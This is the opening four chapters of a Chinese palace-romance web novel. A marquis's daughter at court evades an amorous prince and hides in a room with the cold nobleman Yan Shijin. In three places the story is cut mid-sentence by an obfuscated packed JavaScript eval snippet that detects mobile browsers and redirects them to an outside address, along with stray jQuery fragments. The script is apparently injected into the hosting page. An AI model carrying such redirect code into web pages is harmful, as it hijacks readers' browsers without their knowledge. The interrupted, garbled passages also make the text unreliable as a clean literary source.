《惹权臣》 1. 第 1 章 时值开春,余寒料峭,冽风卷着雪粒,掠过毓秀宫檐廊下的几盏宫灯,摇晃个不停。 漏刻刚报了卯正,西面耳房当值的宫女卧室中就已点亮了烛火。 丁香起身穿衣,一旁的茴香两腿夹住被沿翻身面向里侧,嘟囔道: “才几时呢,着急忙慌的做什么?” 丁香道: “今儿个春日宴,公主殿下吩咐我好好给纪姑娘妆扮,我得提前准备着熏衣裳烧水,还要调脂粉梳髻,极费工夫……” 茴香一脸不屑地打断她: “看把你伶俐的!又不是什么正经主子,何必认真?” 倒不是她不懂规矩胆子大,敢随意在背后编排主子,实在是那位侯府大小姐在他们毓秀宫里就是眼中钉肉中刺,若是她们身为奴才厚待了她,才是真的惹恼自家公主和贤妃娘娘呢! 宫里谁不知道,章齐侯府纪家早已没落萧疏,传到如今的纪侯爷,更因他才智平庸,族中又无能担大任的男丁,致使纪家在外门庭冷落,内里更加衰败。 朝堂既无立锥之地,纪侯便将目光放在了后宫,他送嫡长女纪云瑟入宫,明面上说是为太后侍疾,实则不过是靠着他家已逝的太夫人与太后是从小关系亲密的手帕交,妄图博个机缘得见天颜,凭着年轻美貌,一朝飞升成为皇家妇。 后宫的妃嫔们一个个都是成精的狐狸,谁会瞧不出纪家的那些算计? 故而入宫才两日,纪云瑟就被夏贤妃以她与女儿曦和公主赵沐昭年纪相仿,又素来知书识礼为由,要来给公主做了伴读。 纪云瑟她一个侯府大小姐,在他们毓秀宫里不过是名头比奴才们高一些而已,公主厌恶她妄想勾引圣上做自己的庶母,日常除了不曾打她,是变着法子欺辱她,贤妃娘娘更是忌惮她如洪水猛兽,从不让她有在永安帝面前露脸的机会。 “也不看看自己几斤几两,也配咱们伺候?” 茴香不耐烦道: “快熄了灯让我多睡一会儿!” 丁香素来胆小老实,她一面将被褥子叠起放好,一面道: “你别这么说,至少,太后娘娘看着是真心疼纪姑娘。” 茴香道: “那有何用?她老人家身子不好,自己亲孙子孙女都顾不上,何况那外四路的?” 丁香利落地挽好发髻,吹熄了灯,道: “好了,越说越没规矩,你再睡一会儿,我去烧水。” 她倒是觉得,贤妃和公主如何待纪姑娘是她们主子的事,主子只让她平日里盯着别让那位冒头,既没明着吩咐别的,自己便没必要帮着助着在背后使劲儿得罪人。 半个时辰后,丁香手捧熏过熨好的衣裳敲响了西配殿厢房的门, “姑娘,您醒了么?” “进来。” 一个轻柔的声音响起,丁香推门而入,将衣裳放下,正要服侍纪云瑟起身,却听她道: “我自己来。” 丁香应了一声,出门去取水。 她提着烧好的热水回来时,就见纪云瑟已经穿戴好,坐在妆台前梳发。 “姑娘,让奴婢来吧!” 丁香放下水壶,将纪云瑟面前被风吹得微开的槛窗合上,接过她手中的木梳。 铜镜中的美人眼眸低垂,纵是在宫里多年,见惯了千娇百媚,丁香依旧在心里默默感叹这位侯府小姐生得着实美貌。 她身着一件雪青色羽绉面鹤氅,衬得肌肤赛雪,黑发如瀑,那五官如刻意雕琢过一般,眉若春山,目含秋水,鼻梁挺俏,两片微红的朱唇,莹润似染了朝露的花瓣,整张脸仿佛盛放的芙蕖,根本无需脂粉点缀,便已倾国倾城。 光论这般模样,在后宫出人头地是迟早的事。 见纪云瑟的目光落在妆奁内耀眼的灿珠瑶光之上,丁香开口道: “今日春日宴,公主殿下特地让人送了这些来,吩咐奴婢给姑娘您好好妆扮,说是太后娘娘身上大好了,就爱姑娘们穿红戴绿,瞧着喜庆些。” 打扮给太后看,这话谁信? 纪云瑟蹙紧眉头,心中一阵烦闷,分明是今日陛下在昭阳殿宴请外臣,不会入后宫,曦和公主威逼着她盛装打扮,去刻意接近裕王! 裕王乃李妃所生的二皇子,因曦和公主生母夏贤妃素来看不上宫女出身的李妃,公主同裕王也一向不和。 偏偏前几日,公主自言瞧上了裕王的表弟李巍,却一直不得见面。 今日宴席,原是为了让太后高兴,遍邀了儿孙辈的皇亲们入宫热闹热闹,李巍便在其中。 只是他生性腼腆,入宫定是同裕王一起。公主便想了个法子,要纪云瑟找机会缠住裕王,自己好与李巍说上话。 若只是这样便罢了,怕只怕…… 看着镜中丁香为她梳的颇为繁复的朝云近香髻,纪云瑟心中突然涌起不详的预感。 父亲要她入宫的目的谁都能看出来,要想彻底断了她被永安帝看上,成为妃嫔的路,最直接的方式,就是把她另配他人! 他们章齐侯府虽没落但也是正经的勋爵人家,又有太后照应,夏贤妃不至于随便找个人打发了她,最方便的选择就是几位皇子。 其中四皇子祈王不过才十四岁,比她还小两岁,十八岁未娶正妃的三皇子蔚王是夏贤妃亲生,不可能便宜她,剩下的就是已经婚配嫡子都满地跑的裕王。 莫非,夏贤妃是想让她主动去招惹裕王,做他的侧妃? 纪云瑟只觉一阵头疼,她入宫本就不是自愿,毕竟圣上已年近四十,原配皇后已逝,身边有贤妃等三位有印有册的妃,嫔和贵人数人,成年的皇子公主都好些了,她若真被皇帝瞧上,卷进那争宠的漩涡,又有何出路? 她宁可不嫁人,也不想成为比她父亲还大的永安帝的妃嫔,更不愿给尚在夺嫡前途未卜的某位皇子做侧妃! 丁香为纪云瑟梳妆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156296|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完毕,看着镜中的芙蓉美人面,道: “姑娘稍候,奴婢去给您传饭。” 纪云瑟应了一声,趁她出去,用帕子将胭脂擦了擦,又卸了两只珠钗,让自己看起来尽可能素净些,这样的宴席,她可不想太过引人注目。 一时早膳用毕,丁香给她披上一件雪白的兔毛斗篷,撑起油纸伞,搀着她步出宫门。 宴席设在离太后的寿康宫最近的春禧殿,二人步入殿中,就见曦和公主与几位郡主在一侧的八角飞檐亭内烤火说笑,纪云瑟行至不远处的梅树下,抖了抖帽檐上的雪粒。 赵沐昭一眼就看见了她,向她走来。 “公主殿下!” 纪云瑟正待屈膝,却被她一把拉起来,不耐烦道: “欸,免了免了,本宫正等着你呢!” 赵沐昭早等不及,拉着纪云瑟行至主殿檐廊下,上下打量了她一眼,见她略施粉黛后更加出尘绝艳,不禁皱了皱眉,这般样貌哪个男子不动心? 这丫头若真被父皇瞧上,中年色衰的母妃定会失宠,来年若命好让她生个皇子,再凭狐媚手段吹吹枕边风,说不定空置已久的皇后宝座都会是她的! 不仅如此,到那时,庶子变中宫嫡子,一直被裕王压制的三哥不更是腹背受敌,争储无望? 赵沐昭面露嫌恶地白了她一眼,冷冷问道: “准备好了?” 纪云瑟点了点头,贤妃母女既然是跟她打明牌,她便只能见招拆招。 赵沐昭伸手向庭院内一指,道: “喏,他们在那边。” 纪云瑟顺着瞧过去,院中落着霜雪的松树下,是一身深紫哆罗呢狐皮袄,配犀金玉带的裕王赵檀,正与旁边一个陌生的面孔交谈着,身着沙青箭袖的李巍立在其后。 赵沐昭瞬间勾起了唇角,看向李巍时眉眼弯弯,毫不掩饰目中的欣赏。 纪云瑟不禁腹诽,不知身旁的花心公主这一回,对那位俊美书生,又有几日的新鲜劲儿? 目光落回裕王的方向,见他似与陌生男子十分熟络,那人负手而立,不卑不亢,倒是赵檀这位年纪最大的皇子罕见地微微躬身陪着笑,纪云瑟不禁有些好奇地细细打量了过去。 男子约莫弱冠的年纪,英挺高隽,内着一袭暗紫飞鱼纹的曳撒,外披黑狐大氅,面容白皙冷峻,通身的气质装束极是矜贵,看着非等闲之辈。 纪云瑟入宫有些时日,几位成年的皇子俱已见过,却从未见过此人,今日是宫里家宴,论理没有外臣,若说是哪位亲王郡王家的子孙,好似没听说有这个年纪的。 正思忖间,男子已走远,赵沐昭转过头,冷声催道: “喂,还不快去?” “待会你拦下裕王,想办法把他引开,等李巍落了单,本宫才好找他说话。” 说罢,伸手在她背后一推,又向随侍在旁的毓秀宫掌事宫女玉拂使了个眼色,玉拂会意跟上。 2. 第 2 章 传来一个低沉声音: 覆满白雪的青松下,裕王赵檀正和李巍说着话,李巍看向已走远的健硕身影,问道: “王爷,方才那位是……” 赵檀收回目光: “是晏时锦。” “前些时日从北疆历练完,刚刚回京,想不到过了这些年,他还是这副傲慢性子。” 刚才,赵檀本想与他多说几句话以示亲近之意,却不料晏时锦随口找了个托辞就匆忙离开。 李巍对此人亦有所耳闻: “可是才接任了京卫司指挥使的晏国公世子?” 赵檀道: “除了他还有谁?听说,这小子在北疆跟着成安侯打了好几个胜仗,父皇不知多高兴,特召他回来委以重任。” “他本就有爵位在身,如今又得了个肥差,连本王都得看他的脸色。” 永安帝至今都没有立太子的意思,赵檀的生母李妃出身寒微,且不得宠,故而他如今虽是长子,却丝毫不敢松懈大意,想方设法拉拢在永安帝面前说话有分量之人,比如,永安帝深为器重的嫡亲外甥晏时锦。 李巍道: “王爷身为他的兄长,又是从小一处长大,想必晏世子会念及此,不可能与王爷生分。” 赵檀冷笑一声: “兄弟情分?在这宫里,谁和谁又不是兄弟?权势面前,情分比纸还薄。” “罢了,来日方长,有的是机会。” 二人一面说话,一面沿着石径踏上一处人少的抄手游廊。 却见两个女子从一侧拾阶而上,前者身着雪白斗篷,提着裙摆,一副焦急的模样似低头寻觅着什么, “奇怪,怎的就不见了?” “玉拂,你再仔细帮我找找,别是掩入雪里去了。” 说着话,她已行至二人跟前,差点撞上了裕王。 女子赶紧退后两步,伴随着幽香沁鼻,一张精致的朱唇粉面,撞入了赵檀的眼眸,她怔了一瞬,看清楚是谁后,忙屈膝怯声道: “裕王殿下恕罪,臣女失礼了。” 少女的嗓音和软轻哝,赵檀微微一笑,认出这是章齐侯纪筌的长女,曾在太后处见过,抬手温言道: “无妨,纪姑娘免礼。” “在找什么?” 纪云瑟叹了口气,答道: “一支碧玉簪子,是公主今日一早才送给臣女的,不想竟不见了。” 愁云罩着少女精致的面容,透着楚楚可怜,赵檀安慰道: “一个物件而已,掉了便掉了。” “纪姑娘若真喜欢,本王想法子再给你寻一个。” 纪云瑟摇摇头: “多谢裕王殿下,只是玉簪乃公主所赠,一番心意,臣女不能弄丢。” 她低头略思索片刻后,道: “或许,是掉在了从毓秀宫过来的路上。” “臣女回去再仔细找找,臣女告退!” 虽是罩着厚厚的斗篷,却一点儿都不影响她的体态袅袅,似弱柳扶风一般盈盈迈步前行。 赵檀忍不住循着少女的余香而去,刚走下游廊行至卵石径上,忽的脚下发出异响,低头一看,是一截碧绿隐没在积雪中。 他弯腰拾起,看向纪云瑟离开的方向,李巍见他唇角泛起的笑意,识趣道: “王爷,外边天寒,臣先进殿中等您。” 赵檀拭去玉簪上的残雪,点头道: “也好。” 纪云瑟步出了春禧门行至御花园,停下脚步探头往后面看了看,重重树影后,确有一角深紫的长袍向她们靠近,很明显是裕王跟了过来,便向玉拂道: “公主该是去找李家公子了,你不用跟着我,去服侍公主吧。” 玉拂道: “奴婢奉公主之命伺候姑娘,不敢擅离。” 纪云瑟向后指了指: “裕王过来了,你还要继续在这里?” 玉拂明白其意,是以裕王追来,她不方便在场为说辞,要她走开,却依旧面无表情道: “姑娘放心,裕王不会把奴婢放在眼里,您也就权当奴婢是个死人罢了。” 比起顾及裕王的感受,她更怕这位侯府小姐背着公主耍花招。 “……” 可恶! 纪云瑟只得在心里叫苦,刚才奉公主之命把裕王引开,她不得已出了个下策,如今事情已成,她不想真的和裕王扯上什么关系,让他误会自己对他有意。 重要的是,不能让夏贤妃利用此事做文章。 玉拂也不知道是不是看出了她的心思,紧紧地抓住她的手臂道: “奴婢也劝姑娘安分些,莫惹出事情让公主生气,公主高兴了,姑娘的日子也好过些。” 纪云瑟被她死死扣住,无法脱身,直到赵檀出现在她们的余光中,她才松开手,二人放慢了脚步,假装四下里翻找查看。 赵檀快走了两步行至她面前: “纪姑娘!” 纪云瑟装作惊讶地顿在原地,行礼道: “裕王殿下,您怎么……” “本王早就说过,姑娘不必多礼。” 他伸手虚扶了一把,从胸口的衣襟处掏出一支玉笄,递了过来: “姑娘看看,可是在找这个?” 玉拂行礼后垂首侍立在一旁,目光刚好能看见裕王手中的东西,默默在心底冷笑一声,怪不得公主和贤妃娘娘如此忌惮这位,果真是个狐媚货色,连素来勤谨的裕王,也轻易着了她的道。 纪云瑟看向他手中之物,怔了一瞬,心中了然,却不得不勉强挤出一丝笑: “多谢王爷,但这不是臣女的,臣女丢的是一支碧玉的,雕梅花的簪子。” 想不到这位二皇子平日里看着正经,却是一好色之徒,她并没有如何招惹他,竟拿着明显是他自用的男子束发白玉笄,来试探她。 赵檀的目光落在少女娇花一般的面容上,轻声道: “是么?姑娘再仔细瞧一瞧。” 他走近了一步,将玉笄拿到她的眼前,面上虽温和,动作语气却透着不容拒绝的威严。 纪云瑟故作认真地细细看了一圈,低下头弱弱道: “虽有些像,但并不是臣女的那一支。” 自古发饰只有眷属之间才会互赠,她若是接了,便是默认与裕王心意相通,交换了信物,她还有什么后路可退? 只要她不松口,纵然他是皇子,也不可能强迫了她。 纪云瑟假装看不到玉拂向她投来的并不友善的目光,就算拼着得罪曦和公主,她也不可能屈服,授人以柄。 赵檀笑了一声,收起玉笄: “无妨,本王正好无事,不如陪姑娘好好找一找。” 他倒并不在意这位大美人的不识抬举,那日在太后宫里初见,他就被这姑娘的容貌眼前一亮,今日有机会得以亲近,少不得花些工夫陪着。 美人嘛,若是轻易到手了,还有什么趣味? 纪云瑟微微行礼道: “不敢劳烦王爷。” 她无视玉拂给她悄悄使的眼色,继续说道: “若实在寻不到,臣女便向公主请个罪,想必公主宽宏,不会深责臣女。” 玉拂见她冥顽不灵,遂开口假装在一旁安慰她说道: “姑娘所言极是,找不到也无妨,公主素来通情达理,定不会怪姑娘。” 就在纪云瑟不知她葫芦里卖的什么药时,却听她转而笑着说道: “姑娘才刚说咱们走过来时,看见那边的梅园里,梅花开得正好,倒与太后的寿康宫里,挂着的一幅《红梅坼风图》一模一样。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156297|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “现距离开席时辰尚早,不如,奴婢陪您去那儿赏一赏梅花吧!” 纪云瑟有些疑惑地看向了玉拂,什么图?她又不通丹青,根本不记得何时在太后宫里看见过什么关于梅花的画。 赵檀闻言,却是一脸惊喜,道: “想不到,纪姑娘竟看出来了,本王献给太后的那幅画,正是写意梅园之雪景。” “真是千金易得,知己难求呐!正好,本王陪姑娘一起去看看梅花。” 看着玉拂脸上溢出来的得意之色,纪云瑟暗暗攥紧了双拳,若是不想办法趁早打发了她,不知会闹出多少幺蛾子。 她故作惊讶地看着赵檀,眸光中满是钦佩之色: “那幅画作得极好,臣女还以为是哪位画师的名作,原来竟是王爷的手笔!” 赵檀闻言,笑纹更深了几分: “其实作画一点儿都不难,不过是讲究个意境,先按远近大小描绘个静景,再酌情添上人物花鸟罢了,姑娘若是有兴趣,本王带你去梅园瞧瞧,顺带教教你。” 纪云瑟假装颇有兴致,欣喜道: “多谢王爷,臣女恭敬不如从命。” 走了几步,她忽地收紧了领口的绑带,浑身瑟缩着打了个冷战,赵檀见她如此,关心地问道: “怎么了?可是觉得冷?” 又问道: “为何不带着手炉?” 纪云瑟在手中哈了两口气,搓搓手,道: “一时急着出门,就忘了。” 赵檀看向一旁的玉拂,吩咐道: “去给你们姑娘取手炉过来。” “是。” 玉拂恭敬地应了一声,行了礼往回走。 裕王既开了口,她便不能违拗,况且,她目的已达成,自己继续留着也是碍了裕王的眼,反倒坏事。 赵檀看着一旁裹紧了斗篷的女子,温言笑道: “不过,天气虽冷,你们女孩儿家的却该多走动走动,若是懒怠了,反而易招病。” “王爷说得对,臣女觉得多走了几步,身上就暖些了。” 纪云瑟点头应和着,却被他不时投过来的粘腻目光看得浑身不自在,打发走了玉拂,她也得尽快脱身。 她假装欣赏着御花园的雪景,忽地瞥见不远处隐没在白雪中的飞檐红墙,想起那里是绛雪轩,乃园中赏景休息之处,便刻意调转方向往那边走,说道: “王爷,臣女倒觉得这里的白雪映着红墙,又有一树枯枝,颇像一幅画。” 赵檀点头赞叹道: “姑娘所言极是,以墙为背景,枯枝为主景,再加白雪点缀,无论色彩还是主次,都十分出色,实乃天然佳作。” 纪云瑟根本没心思听他喋喋不休地说些什么绘画技巧,待走近绛雪轩,便捂着小腹,有些讪然,道: “王爷恕罪,请容臣女去更衣。” 赵檀不疑其他,温言道: “去罢,本王在此等你。” 纪云瑟行至檐廊的拐角后,便迅速从另一侧的台阶下来,往屋子后的假山走去,裕王若是等她不见,定会过来寻她,此地不能久留。 但此刻回春禧殿,说不定又会碰上玉拂。 她看了看四周,发现假山旁的御湖边,有一处叫不出名字的二层楼阁,便径直走了过去。 这里似有几间房,但房门都开在明间,只有几扇支摘窗朝外,纪云瑟正思索着此处不知是什么地方时,忽的听见了裕王唤她的声音: “纪姑娘……” 她来不及想太多,迅速掀开最近的窗叶,翻身跳了进去。 光线瞬间被隔绝,屋内漆黑一片。 纪云瑟轻呼了一口气,正放下心来时,身后猝不及防地传来一个低沉声音: “什么人?” 3. 第 3 章 身为永安帝唯一的嫡亲外甥,外加晏国公府本是勋爵人家中最为显赫的其中一族,晏时锦自前些时日回京之后,可谓是众人瞩目的所在。 春日宴特意提前在今儿个这残雪未化的寒冷天举办,也是有太后等不及,要顺带着大家热闹一回为他接风的意思。 晏时锦入宫给太后请了安,在春禧殿甫一露面,刻意过来与他说话的人便络绎不绝。 他生性不喜交际热闹,况且找他的人皆有拉拢或攀附之意,故趁宴席还未开始,索性带着侍从过来这养性斋东面的抱厦,躲个清静。 桌上茶香袅袅,窗外树影斜映,遮避了光线,室内一片黑暗,他搁下茶盏,准备闭目养神时,窗户突然被打开。 刺眼的光亮中,一双雪白的手先从外扒了进来,紧接着,是一张雪白的脸,最后,一整个雪白的身影从窗沿上翻滚而下。 纪云瑟那时正专注地翻窗,冷不丁被突然发出的男子声音唬了一跳,顾忌到屋外正在寻她的裕王,才没有叫喊出来。 她立刻转过身,紧靠着背后的槛墙,顺势拔下了鬓边的一支珠钗,悄悄握在手中。 待眼睛逐渐适应了屋内的亮度后,她看清楚了端坐在圈椅上的人,竟然有些面熟! 这不就是刚刚与裕王说话的那个峻脸男子么? 黑狐大氅被搁在一旁的圈椅上,他身着飞鱼服,双腿自然地交叠,姿态闲适地靠着椅背,手肘撑在扶手上,指节一下一下地敲击着额角,向她投来审视的目光。 见他并没有要动的意思,纪云瑟稍稍放下心来,毕竟她和这男子同处一室,又是个看起来十分精壮之人,万一他突生恶念欲行不轨,她单靠一支珠钗根本无法自卫。 男子眼中的不悦清晰可见,必是怪她打扰他了,纪云瑟露出一丝笑: “抱歉,我不知道屋里有人。” 晏时锦“嗯”了一声,继续假寐,他无意与她计较,都是来宫里赴宴的,既然他可以来此躲清静,这女子自然也可以。 虽然,她进来的方式有些特别。 就在晏时锦以为,凡事有个先来后到之理,这女子会识趣自动离开时,却并未听见开门的声音,反而听她长吁了一口气,在他手边搁了茶水的方桌旁坐下。 既然这男子对她并无兴趣,纪云瑟思及屋外的裕王,便大着胆子留在屋子里,等着到午间宴席开始时,再回春禧殿。 屋子里点着炭盆,再加上她方才一路小跑着过来,此刻,纪云瑟觉得身上有些热,见男子阖目不语,便脱下了斗篷。 淡淡的茶香沁鼻,她看向茶盘上倒扣着的几只干净的白瓷茶盏。 一阵清灵的水声传来,晏时锦睁开眼,看到的就是这个陌生的女子,已脱下外衣,自己取了个杯盏,倒了一杯茶,正往唇边送。 见男子皱起了眉头,纪云瑟眨了眨眼睛试探问道: “我有些口渴,你不介意我喝你两杯茶吧?” 说罢,也不管他应不应声,一饮而尽后,又径自倒了两杯饮了,才算解渴。 她一路走来寒风凛冽,进来这屋子里炭火烧得足,不觉口中干涩,想着此人既然不是皇子王爷,不过跟她一样是臣属,她就不算犯上僭越,便大着胆子喝了他的茶。 更重要的是,这男子看起来正经十足,毫无邪念,也不可能预判她会突然进来,她自然放心茶中无毒。 晏时锦从未遇见过这等无知无畏的女子,竟一时不知用什么语言回应,况且这是在宫里,他亦无权赶人。 只望这女子喝了水,自觉离开。 不过,白瓷盏沿上留下的那抹与她的嘴唇一样的红色,让人看着心烦,他撇开头,继续闭目养神。 纪云瑟倒是有些好奇地细细打量起他来,刚刚在春禧殿离得远,这样面对面地瞧着,不禁感叹这人实在是副好样貌。 剑眉星目,鼻梁高挺,在光影交错间,男子侧颜显得愈发刀削斧劈般棱角分明,不得不承认是一张好看到极致的脸,只不过配上他淡漠疏离的神色,生生减了几分斯文,多了几分凌厉。 而且,宽肩细腰,双腿修长,身材也不错。 只可惜,他不喜女色。 纪云瑟悄悄将手里的珠钗重新簪入发髻中。 察觉到女子的目光频频落在自己身上,晏时锦不禁又皱起眉头,罢了,她不走,他走。 他放下原本交叠在上的腿,正想起身时,听见了门外传来说话声。 “见过裕王殿下。” 是他的侍从紫电的声音。 “你家主子在里面?” 是裕王赵檀。 紫电道: “是,王爷,世子在此休息片刻。” 赵檀道: “正好,本王找他聊一聊。” 脚步声靠近,紫电自然不敢拦,晏时锦目光中闪过一丝不耐,下一瞬,门吱呀被从外推开,一个微胖的身影走了进来。 几乎就在同时,伴随着一股幽香拂过,那女子飞快地藏在了他放狐氅的椅子后,还伸手将他的狐氅扯了扯,直到遮住了她整个娇小的身子。 晏时锦不由得蹙眉: “……” 事出突然,纪云瑟来不及思索,只知道她不想看见裕王,环顾屋内一圈后,一目到底,发现只有男子的黑狐大氅后,能藏个人。 “子睿,原来你在此,让本王好找呐!” 赵檀满脸堆着笑走过来,晏时锦起身微微颔首: “裕王殿下。” 他和几个皇子从小在宫里一同长大,永安帝特地嘱咐了让他们兄弟之间不分君臣,不拘虚礼。 赵檀看着他那张比积雪还冷的脸,就知他素来不喜跟人应酬的性子,是一点儿都没改,淡笑一声,拍了拍他的肩膀,道: “来,坐下聊!” 他正巧碰见晏时锦在此,便将寻那姑娘一事丢开,十分自然地在一旁的圈椅上坐下。 毕竟,女人不过是个闲时打发时间的玩物,争夺储君之位才是他的首要大事。 但是瞬间,赵檀就感觉到了异样,椅子尚有余温,分明有人刚刚起身。 目光随即落在了身旁的方桌上两只用过的杯盏,摆在他手边的那只杯沿上,残留半片鲜红的唇印。 还是个女人。 想不到,这小子竟也在此偷会个女子。 一阵幽香若有似无地飘浮在空气中,这是他今日第二次闻见,赵檀的面色微沉。 不可能!定是此香最近在京中盛行,女子们都用了同一种。 跟在其后的紫电也闻到了诡异的香气,他虽诧异,但并未多想,躬身上前帮裕王倒茶。 直到看见杯沿那个更加诡异的印记,他愣了愣,不动声色地瞥了一眼容色如常的自家主子,默默换了个干净的杯盏,斟好茶双手奉上: “裕王殿下请用茶。” 又给自家主子斟满后,他退至一旁,却忽的瞧见了一团白影出现在主子身侧的圈椅背后,细看,那里竟蹲着一个美貌的妙龄女子。 什么情况?他主子跟这女子在此私会? 这么炸裂? 但是,紫电记得很清楚,主子带他进来时,这里明明是间空屋子,且他一直守在门外,房间也没有别的门,女子是如何进来的? 幸好,身为一个训练有素的公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156298|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府侍卫,他只是睁圆了眼睛,却没有表现出其他的异样,如往常一般侍立在旁。 晏时锦饮了一口茶,道: “听说,王爷昨日亲临京卫司,不知找我有何事?” 赵檀也恢复了如常的神色,笑道: “没事就不能找你了?父皇说,你在北疆历练颇有心得,让本王在军务方面多向你请教请教。” 晏时锦转头看向他: “王爷知道,我素来喜欢开门见山,有事说事。” 赵檀面色微僵,手中捏着茶盏在半空停顿片刻,笑道: “既如此,本王就直说了。” “有件事,确实需要子睿,你通融通融。” 躲在圈椅后的纪云瑟屏气凝神,静静地听着二人说话,她已知晓了男子的身份。 他就是太后时常挂在嘴边的,晏国公世子晏时锦。 纪云瑟对这位名动京城的贵公子自然有所耳闻。他是当今圣上唯一的嫡亲妹妹,已故的凌元长公主唯一的子嗣,其母去世后,太后心疼外孙,将其接入宫中亲自抚养长大,圣上也待其十分亲厚,与众皇子无异。 只是,她想不到,裕王身为皇子,在这位国公世子面前会如此小心讨好,而晏时锦却是一派从容中透着威严。 赵檀带着十分的诚意,说道: “那件事,就是朱海那个不长眼的狗奴才闹出来的误会,让齐统领受委屈了。你放心,本王必会严惩他。但他毕竟是本王府里的管家,还望子睿你高抬贵手,先放了他,不要将事情闹大。” 晏时锦平静道: “殿下言重了。” “只是,说迟了些,昨日,我就将此事的折子递了上去。” 赵檀容色骤变,抬手就想拍案发作,却还是忍住了。 晏时锦掸了掸衣袖,道: “王爷莫怪,我年轻,才上任就碰见这种事,不敢私自做主,只能请陛下圣裁。” 赵檀好不容易平复下情绪,扯着嘴角轻笑两声: “哪里哪里,要怪也只能怪本王,没有管教好奴才。” 纪云瑟虽听不太明白他们在谈论何事,但她得出结论,裕王竟得看这位国公世子的脸色。 赵檀见事情已没有了转圜,随口与晏时锦聊了几句便离开,紫电送了出去。 回来时,自家主子已经披着大氅步出门外,紫电悄悄观察着他的脸色,不敢往里看,也不敢多问,懂事地关上了房门,跟着主子前往赴宴。 纪云瑟料定裕王今日没有心思再找她,算着时辰也回了春禧殿。 已至午时,太后乘着暖轿亲临,夏贤妃带着其余妃嫔众人早已在殿内列座等候,以中间过道为界,东面为男宾席,西面为女宾席。 夏贤妃提议所有人先敬了太后一杯酒之后,宴席正式开始。 纪云瑟坐在赵沐昭后排,隔着一条案,赵沐昭心情大好,回头与她颇具意味地问道: “你和裕王去哪里了?聊得可好?” 明知故问。 “承蒙公主关照,裕王殿下教了臣女作画。” 纪云瑟答道,她既知这位公主的意图,故意叹了口气道: “只可惜,裕王见臣女愚笨,以政务繁忙为由早早离开,不愿与臣女多言。” 赵沐昭一副我信你个鬼的表情,冷笑一声: “呦,没使劲发挥你的狐媚子手段么?竟有男人抵挡得住?” 纪云瑟端起酒盏,细细品味着这句话,视线落在不远处着暗紫飞鱼服的俊脸男子身上,静静地凝视了他片刻,在他警觉的目光瞥过来之时,将酒盏放在唇边,勾起唇角向他微微点头示意。 4. 第 4 章 谁知当日,太后因一时高兴饮了两杯酒,兼受了寒风,回宫后便有些发热,永安帝亲自带着太医去瞧,一直在寿康宫守着,直到太后用药退了烧,赶他去歇息方回宫。 第二日下朝后,永安帝又亲临探望,亲自喂了药,看着太后用了些早膳,才放心回养心阁处理政务。 至辰时,夏贤妃领着众妃嫔来看望了一回,皇子皇孙和公主们也陆续来请安。 纪云瑟跟着赵沐昭一同来,被留下服侍太后。 自亲母难产而亡,父亲娶了续弦后,她一直被养在祖母膝下,自小就学着按摩艾灸,照顾时常有些病痛的祖母,久而久之,手上也有了些功夫。 纪云瑟用家中带来的特制药油为太后揉了揉头上的几个疏风解表的穴位后,太后终于缓解了些头疼,安稳睡去。 太后身边的掌事嬷嬷周氏便做主让她留在寿康宫,以便随时侍奉。 见太后睡得沉,一时半会儿不会醒,纪云瑟悄声步出寝殿,往一旁的厢房去歇息,却在穿山游廊处碰见了赵檀。 纪云瑟屈膝行礼道: “裕王殿下。” 赵檀抬手示意她起身,瞧着她出来的方向,问道: “皇祖母身上怎么样,可有好些?” 纪云瑟点点头: “太后娘娘用了药,头疼好些了,刚刚睡下。” 赵檀朝槛窗看了一眼,道: “既如此,本王就不进去了,晚些再来。” 少女未施粉黛,却有别样的清水芙蓉之美,赵檀笑道: “昨日,姑娘脚步真快,让本王好找。” 纪云瑟道: “臣女昨日不小心弄脏了裙摆,从绛雪轩出来时不见王爷,便私自回毓秀宫换裙子了,请王爷见谅。” 赵檀哪里舍得与她计较,靠近了她一步,深吸了一口少女身上的幽香,俯身在她耳畔笑道: “无妨,本王日后有的是机会与姑娘探讨丹青之术。” 纪云瑟不禁一阵嫌恶,往后退了一步,不想与他多言,正欲寻个借口脱身,却见内监引着一高直身影步入宫门。 是晏时锦。 他看似步履不疾不徐,却三两步就已行至二人跟前。 “裕王殿下。” 向赵檀颔首后,晏时锦微诧的目光扫过一旁低头垂眸的女子。 正巧周嬷嬷从殿内掀了门帘出来,见到二人先屈膝行了个礼,和裕王说了一回太后的病情后,方向晏时锦道: “主子刚刚睡下,世子爷先进来休息片刻,喝口茶吧。” 她知道其他人便罢了,太后病中最念着的人就是这位离京多年的世子爷,祖孙俩每日都要见面聊一聊。 